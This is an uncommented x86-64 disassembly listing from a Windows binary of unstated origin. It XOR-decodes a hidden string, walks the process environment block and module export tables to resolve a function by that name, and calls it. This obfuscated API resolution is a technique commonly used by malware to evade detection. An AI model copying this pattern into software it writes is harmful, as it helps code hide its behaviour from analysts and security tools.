imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14011aee0
lea r9d, [r10 + 9]
lea r8, [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
call fcn.14011c9b0
mov qword [rbp + 0xc8], rax
movsx ebx, byte [rbp + 0xa0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011af65
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011af74
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r8d, r8d
lea r9, [rbp + 0xa4]
lea r10d, [r8 + 8]
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14011af90
mov r9d, dword [0x140196874]
lea r8, [rbp + 0xa4]
mov rdx, qword [rbp + 0xc8]
call fcn.14011cb00
mov rbx, rax
test rax, rax
je 0x14011b01f
movzx eax, byte [rbp + 0xa0]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
xor byte [rbx + 6], al
xor byte [rbx + 7], al
xor byte [rbx + 8], al
mov byte [rbx + 9], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
cmp qword [r14 + 0x60], 0
je 0x14011b0f9
nop
mov r11, qword [r14 + 0x30]
mov r14, qword [r14]
test r11, r11
je 0x14011b0e8
cmp word [r11], di
jne 0x14011b0f9
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14011b0f9
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14011b0f9
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov esi, dword [rax + 0x20]
add rsi, r11
mov r12d, dword [rax + 0x24]
add r12, r11
xor r10d, r10d
xor r9d, r9d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x14011b0e8
xor dl, dl
mov ecx, dword [rsi + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x14011b0dd
mov r8, rbx
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x14011b0d9
cmp byte [rcx], al
jne 0x14011b0dd
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x14011b0b4
movzx eax, word [r12 + r9*2]
mov edx, dword [r15 + rax*4]
add rdx, r11
jmp 0x14011b0fb
test dl, dl
jne 0x14011b0cb
inc r10d
inc r9
cmp r10d, edi
jb 0x14011b0a1
cmp qword [r14 + 0x60], 0
je 0x14011b0f9
mov edi, 0x5a4d
jmp 0x14011b040
xor edx, edx
mov rcx, r13
call rdx
lea rax, [rbp - 0x60]
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0xf
xor r8d, r8d
lea rdx, [0x14015febb]
lea rcx, [rbp - 0x60]
call fcn.14001ea30
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov rbx, qword [rbp + 0x128]
lea rsi, [rbp + 0x118]
mov rax, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x130]
cmp rcx, 0x10
cmovae rsi, rax
movabs r13, 0x7fffffffffffffff
cmp rbx, 0x10
jae 0x14011b1a8
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
jmp 0x14011b233
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
cmova rdi, r13
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14011b1f2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011b619
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011b613
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011b200
test rcx, rcx
je 0x14011b1fe
call fcn.14012bbb4
jmp 0x14011b200
xor eax, eax
mov qword [rsp + 0x50], rax
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
mov rcx, qword [rbp + 0x130]
mov rbx, qword [rbp + 0x128]
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 0
lea rsi, [rbp + 0x118]
cmp rcx, 0x10
cmovae rsi, rax
cmp rbx, 0x10
jae 0x14011b280
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0x100], 0xf
jmp 0x14011b2f5
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
cmova rdi, r13
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14011b2ca
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011b625
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011b61f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011b2d8
test rcx, rcx
je 0x14011b2d6
call fcn.14012bbb4
jmp 0x14011b2d8
xor eax, eax
mov qword [rbp + 0xe8], rax
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0xf8], rbx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
mov r14, qword [rbp + 0xe0]
mov dword [rsp + 0x28], r14d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe8]
mov r15, qword [rbp + 0x20]
mov r8, r15
lea rdx, [rbp + 0xa0]
mov r12, qword [rbp + 0x28]
mov rcx, r12
call fcn.1401143b0
lea rcx, [rbp + 0xa0]
call fcn.14001e820
lea rax, [rbp - 0x60]
mov qword [rbp - 0x68], rax
xor eax, eax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0xf
xor r8d, r8d
lea rdx, [0x14015febb]
lea rcx, [rbp - 0x60]
call fcn.14001ea30
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
xor r8d, r8d
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
mov rbx, qword [rbp + 0x128]
lea rsi, [rbp + 0x118]
mov rax, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x130]
cmp rcx, 0x10
cmovae rsi, rax
cmp rbx, 0x10
jae 0x14011b3dc
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
jmp 0x14011b46b
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
cmova rdi, r13
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14011b426
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011b631
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011b62b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011b435
test rcx, rcx
je 0x14011b432
call fcn.14012bbb4
jmp 0x14011b435
mov rax, r8
mov qword [rsp + 0x50], rax
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
mov rcx, qword [rbp + 0x130]
mov rbx, qword [rbp + 0x128]
mov rax, qword [rbp + 0x118]
xor r8d, r8d
mov qword [rbp + 0xe8], r8
mov qword [rbp + 0xf8], r8
mov qword [rbp + 0x100], r8
lea rsi, [rbp + 0x118]
cmp rcx, 0x10
cmovae rsi, rax
cmp rbx, 0x10
jae 0x14011b4ac
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0x100], 0xf
jmp 0x14011b522
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
cmova rdi, r13
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14011b4f6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011b5d1
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011b5cb
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011b505
test rcx, rcx
je 0x14011b502
call fcn.14012bbb4
jmp 0x14011b505
mov rax, r8
mov qword [rbp + 0xe8], rax
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0xf8], rbx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov dword [rsp + 0x20], r14d
lea r9, [rsp + 0x50]
lea r8, [rbp + 0xe8]
mov rdx, r15
mov rcx, r12
call fcn.140116470
nop
lea rcx, [rbp + 0x158]
call fcn.14001e820
nop
lea rcx, [rbp + 0x118]
call fcn.14001e820
inc r14
mov qword [rbp + 0xe0], r14
cmp r14, 0x12
jb 0x1401195db
mov al, 1
mov rcx, qword [rbp + 0x6f0]
xor rcx, rsp
call fcn.14012b8f0
lea r11, [rsp + 0x820]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x118]
call fcn.14001e820
jmp 0x14011b581
call fcn.140133e80
nop
call fcn.140005870
nop
call fcn.14012ba20
nop
call fcn.14012ba20
nop
call fcn.140133e80
int3
call fcn.140005870
nop
call fcn.140133e80
int3
call fcn.140005870
nop
call fcn.140133e80
int3
call fcn.140005870
nop
call fcn.140133e80
int3
call fcn.140005870
nop
call fcn.140133e80
int3
call fcn.140005870
nop
call fcn.140133e80
int3
call fcn.140005870
nop
call fcn.140133e80
int3
call fcn.140005870
int3